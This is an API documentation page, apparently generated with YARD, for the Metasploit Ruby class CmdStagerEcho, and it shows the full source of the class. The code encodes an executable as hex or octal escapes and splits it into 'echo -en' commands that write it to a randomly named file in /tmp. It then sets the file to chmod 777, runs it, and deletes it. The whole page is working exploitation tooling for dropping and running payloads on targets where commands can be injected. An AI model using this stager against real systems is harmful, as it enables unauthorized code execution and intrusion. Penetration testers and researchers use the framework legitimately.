Class: Rex::Exploitation::CmdStagerEcho

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/echo.rb

Constant Summary collapse

ENCODINGS =
{
  'hex'   => "\\\\x",
  'octal' => "\\\\"
}

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#compress_commands, #generate_cmds_payload, #setup, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerEcho

Returns a new instance of CmdStagerEcho.



18
19
20
21
22
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 18

def initialize(exe)
  super

  @var_elf = Rex::Text.rand_text_alpha(5)
end

Instance Method Details

#cmd_concat_operatorObject



161
162
163
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 161

def cmd_concat_operator
  " ; "
end

#encode_payload(opts) ⇒ Object

Encode into a format that echo understands, where interpretation of backslash escapes are enabled. For hex, it’ll look like “\x41\x42”, and octal will be “\101\102\5\41”



78
79
80
81
82
83
84
85
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 78

def encode_payload(opts)
  case opts[:enc_format]
  when 'octal'
    return Rex::Text.to_octal(@exe, @prefix)
  else
    return Rex::Text.to_hex(@exe, @prefix)
  end
end

#fix_last_byte(part, opts, remaining = "") ⇒ Object



142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 142

def fix_last_byte(part, opts, remaining="")
  fixed_part = part.dup

  case opts[:enc_format]
  when 'hex'
    while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
      fixed_part.chop!
    end
  when 'octal'
    if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
      pos = fixed_part.rindex('\\')
      pos -= 1 if fixed_part[pos-1] == '\\'
      fixed_part.slice!(pos..fixed_part.length-1)
    end
  end

  return fixed_part
end

#generate(opts = {}) ⇒ Object

Override to ensure opts is a correct *nix path and initialize opts.



28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 28

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'

  unless opts[:temp].empty?
    opts[:temp].gsub!(/\\/, '/')
    opts[:temp] = opts[:temp].shellescape
    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
  end

  # by default use the 'hex' encoding
  opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s

  unless ENCODINGS.keys.include?(opts[:enc_format])
    raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
  end

  super
end

#generate_cmds(opts) ⇒ Object

Override to set the extra byte count



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 50

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  unless opts[:noargs]
    @cmd_start += "-en "
  end

  @cmd_end   = ">>#{@tempdir}#{@var_elf}"
  xtra_len = @cmd_start.length + @cmd_end.length
  opts.merge!({ :extra => xtra_len })

  @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
  min_part_size = 5 # for both encodings

  if (opts[:linemax] - opts[:extra]) < min_part_size
    raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
  end

  super
end

#generate_cmds_decoder(opts) ⇒ Object

Since the binary has been already dropped to fs, just execute and delete it



106
107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 106

def generate_cmds_decoder(opts)
  cmds = []
  # Make it all happen
  cmds << "chmod 777 #{@tempdir}#{@var_elf}"
  #cmds << "chmod +x #{@tempdir}#{@var_elf}"
  cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"

  # Clean up after unless requested not to..
  unless opts[:nodelete]
    cmds << "rm -f #{@tempdir}#{@var_elf}"
  end

  return cmds
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.



92
93
94
95
96
97
98
99
100
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 92

def parts_to_commands(parts, opts)
  parts.map do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmd
  end
end

#slice_up_payload(encoded, opts) ⇒ Object

Override it to ensure that the hex representation of a byte isn’t cut



124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 124

def slice_up_payload(encoded, opts)
  encoded_dup = encoded.dup

  parts = []
  xtra_len = opts[:extra]
  xtra_len ||= 0
  while (encoded_dup.length > 0)
    temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
    # cut the end of the part until we reach the start
    # of a full byte representation "\\xYZ" or "\\YZX"
    temp = fix_last_byte(temp, opts, encoded_dup)
    parts << temp
    encoded_dup.slice!(0, temp.length)
  end

  parts
end